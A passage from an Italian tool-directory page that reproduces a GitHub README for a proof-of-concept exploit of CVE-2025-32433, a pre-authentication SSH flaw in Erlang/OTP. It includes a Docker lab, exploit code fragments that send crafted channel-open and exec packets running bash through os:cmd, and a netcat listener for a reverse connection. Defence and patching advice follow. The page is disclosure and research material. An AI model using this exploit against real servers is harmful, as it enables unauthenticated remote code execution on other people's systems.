Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Erlang-OTP-PoC_CVE-2025-32433 — Proof-of-concept exploit per CVE-2025-32433, una vulnerabilità di confusione dei canali SSH pre-autenticazione in Erlang/OTP, che dimostra il bypass dell'autenticazione e l'esecuzione remota di codice con un laboratorio Docker. | Kitploit
Strumenti/GitHubGitHub/antoniesoga/erlang-otp-poc_cve-2025-32433
Analisi delle VulnerabilitàExploitPenetration TestingApprendimento e FormazioneStrumento di Accesso Remoto
GitHubantoniesoga/erlang-otp-poc_cve-2025-32433

Erlang-OTP-PoC_CVE-2025-32433

Proof-of-concept exploit per CVE-2025-32433, una vulnerabilità di confusione dei canali SSH pre-autenticazione in Erlang/OTP, che dimostra il bypass dell'autenticazione e l'esecuzione remota di codice con un laboratorio Docker.

Vedi Repository
2127 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Confusione del Canale Pre-Autenticazione SSH Erlang/OTP

📺 Video di Prova del Concetto

Descrizione: Una dimostrazione della vulnerabilità di confusione del canale pre-autenticazione SSH Erlang/OTP.

Clicca qui per guardare la demo completa su YouTube

Abstract

Di cosa tratta questo PoC?

Questa Prova del Concetto dimostra CVE-2025-32433, una vulnerabilità nell'implementazione del server SSH Erlang/OTP che consente a un aggressore di aprire canali SSH ed eseguire comandi prima dell'autenticazione.

A causa di una gestione inadeguata delle transizioni di stato del protocollo SSH, alcuni messaggi SSH (SSH_MSG_CHANNEL_OPEN e SSH_MSG_CHANNEL_REQUEST) vengono accettati prima che l'autenticazione utente sia stata completata con successo. Ciò comporta un completo bypass dell'autenticazione e l'esecuzione remota di comandi all'interno della VM Erlang.


Condizioni Affette

Cosa deve essere vulnerabile perché funzioni?

La vulnerabilità può essere attivata quando sono soddisfatte le seguenti condizioni:

  • Versioni di Erlang/OTP affette da questa vulnerabilità sono tutte le versioni precedenti e comprese le seguenti:
    • OTP-27.3.2
    • OTP-26.2.5.10
    • OTP-25.3.2.19
  • L'applicazione ssh di Erlang è abilitata
  • L'autenticazione tramite password è configurata
  • Il demone SSH è raggiungibile dall'aggressore
  • Non sono richieste credenziali valide

È importante notare che questo problema non dipende da credenziali deboli o da una configurazione errata, ma da una gestione difettosa dello stato del protocollo.


Causa Tecnica Radice e Flusso di Sfruttamento

Come si manifesta la vulnerabilità e perché è sfruttabile?

Il problema deriva da un difetto di confusione di stato nel server SSH Erlang/OTP, dove lo stato di autenticazione non viene applicato rigorosamente prima che i messaggi relativi ai canali vengano elaborati.

Ad alto livello, lo sfruttamento procede come segue:

  1. L'aggressore completa le fasi di scambio di versione SSH e scambio di chiavi.
  2. Il server porta la connessione in uno stato di sessione attiva, senza applicare l'autenticazione utente riuscita.
  3. L'aggressore invia una richiesta SSH_MSG_CHANNEL_OPEN per un canale di sessione.
  4. Il server accetta erroneamente la richiesta del canale prima del completamento dell'autenticazione.
  5. Viene inviato un SSH_MSG_CHANNEL_REQUEST di tipo exec sul canale aperto.
  6. Il sottosistema SSH di Erlang inoltra la richiesta al gestore della connessione.
  7. Il payload fornito viene eseguito tramite primitive Erlang (ad es., os:cmd/1) all'interno del contesto della VM.

Questo comportamento viola il modello del protocollo SSH definito in RFC 4252/4254, dove la creazione e le richieste dei canali devono essere consentite solo dopo l'autenticazione riuscita.

In breve:

  • Lo stato di autenticazione viene tracciato ma non applicato
  • La gestione dei canali è subordinata allo stato della sessione, non allo stato dell'autenticazione
  • Il processo ssh_connection elabora le richieste exec prematuramente
  • Ciò consente l'esecuzione remota di codice pre-autenticazione

Questa è una vulnerabilità logica e di gestione dello stato, non una debolezza crittografica.


Build & Deployment

I seguenti passaggi costruiscono e distribuiscono un ambiente vulnerabile autonomo utilizzando Docker. Il contenitore esegue un server SSH deliberatamente indurito che rifiuta tutte le credenziali, garantendo che qualsiasi esecuzione di comando riuscita sia il risultato di un bypass dell'autenticazione.

root@kitploit:~
git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git
root@kitploit:~
docker build -t erlang-ssh .

build

root@kitploit:~
docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh

Una volta in esecuzione, il demone SSH sarà esposto sulla porta 2222 e pronto per lo sfruttamento utilizzando il PoC fornito.


Sfruttamento

Questo script sfrutta un difetto nel server SSH Erlang/OTP che consente l'elaborazione di alcuni messaggi del protocollo SSH prima dell'autenticazione.

Il processo di sfruttamento richiede due terminali: uno per ricevere la connessione inversa e un altro per lanciare l'exploit.

  • Listener (Terminale 1):

    root@kitploit:~
    nc -lvnp 4488
    
  • Esecuzione dell'exploit (Terminale 2):

    root@kitploit:~
    python3 exploit.py
    

Spiegazione dello script di sfruttamento

  1. Spoofing del protocollo

    root@kitploit:~
    s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
    s.sendall(pad(kex))
    

    Questi messaggi vengono utilizzati per far sì che il server consideri la connessione come un client SSH legittimo. Spingono lo stato del protocollo SSH abbastanza avanti da consentire messaggi relativi ai canali senza completare l'autenticazione.

  2. Canale di sessione pre-autenticazione

    root@kitploit:~
    s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
    

    Questa richiesta viene utilizzata per aprire un canale di sessione prima dell'autenticazione. Sui server SSH Erlang/OTP vulnerabili, ciò bypassa i normali controlli di accesso e crea una sessione non autorizzata.

  3. Richiesta di esecuzione del comando

    root@kitploit:~
    erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
    exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
    

    Questa richiesta viene utilizzata per attivare l'esecuzione del comando tramite il runtime Erlang. L'avvolgimento del payload nella sintassi Erlang garantisce che il comando venga eseguito dalla VM Erlang anziché essere trattato come un normale comando shell SSH.

Risultato

Se il target è vulnerabile, il comando fornito viene eseguito senza autenticazione.

exploit

nc


Difesa

La difesa contro questa vulnerabilità si basa su una rigida segmentazione della rete e sul monitoraggio a livello di protocollo, poiché i log di autenticazione standard potrebbero non registrare i tentativi di bypass (poiché l'autenticazione viene saltata).

  • Restrizione di rete: Non esporre le porte SSH di Erlang (predefinite o personalizzate) a Internet pubblico. Limitare l'accesso a IP fidati o richiedere una VPN/un host bastione.
  • Firme IDS/IPS: Configurare i sistemi di rilevamento delle intrusioni per allertare in caso di sessioni SSH in cui i pacchetti SSH_MSG_CHANNEL_OPEN (Tipo 90) vengono inviati subito dopo lo scambio di chiavi, senza un precedente pacchetto SSH_MSG_USERAUTH_SUCCESS (Tipo 52).
  • Monitoraggio runtime: Monitorare la VM Erlang per chiamate os:cmd inaspettate o creazione di processi shell che non corrispondono a una sessione utente con accesso riuscito nei log dell'applicazione.

Mitigazioni

L'unica correzione completa è applicare la patch al runtime Erlang/OTP sottostante per imporre transizioni di stato rigorose.

1. Aggiornare Erlang/OTP

Aggiornare immediatamente il runtime Erlang/OTP a una versione che imponga i controlli di autenticazione prima della creazione del canale. Assicurarsi di eseguire una versione più recente di quelle elencate nella sezione "Condizioni Affette".

Controllare le Release ufficiali di Erlang/OTP su GitHub per le ultime patch di sicurezza.

2. Soluzioni alternative temporanee

Se un aggiornamento immediato non è possibile, applicare i seguenti controlli:

  • Disabilitare l'applicazione SSH: Se l'interfaccia SSH non è mission-critical, arrestare l'applicazione per rimuovere la superficie d'attacco:

    root@kitploit:~
    ssh:stop().
    
  • Whitelist del firewall: Limitare rigorosamente l'accesso di rete alla porta SSH esposta solo a sottoreti amministrative interne.


Collaboratori

AntonieSoga Antonie Șoga AntonieSoga · Collaboratore

7uddy Ene Călin Tudor 7uddy · Collaboratore

BanicaCristian04 Cristian Bănică BanicaCristian04 · Collaboratore


⚠️ Disclaimer

Solo per ricerca educativa e difensiva.


Riferimenti

  • CVE-2025-32433
  • Codice sorgente SSH Erlang/OTP
  • RFC 4252/4254

cve

Scarica lo strumento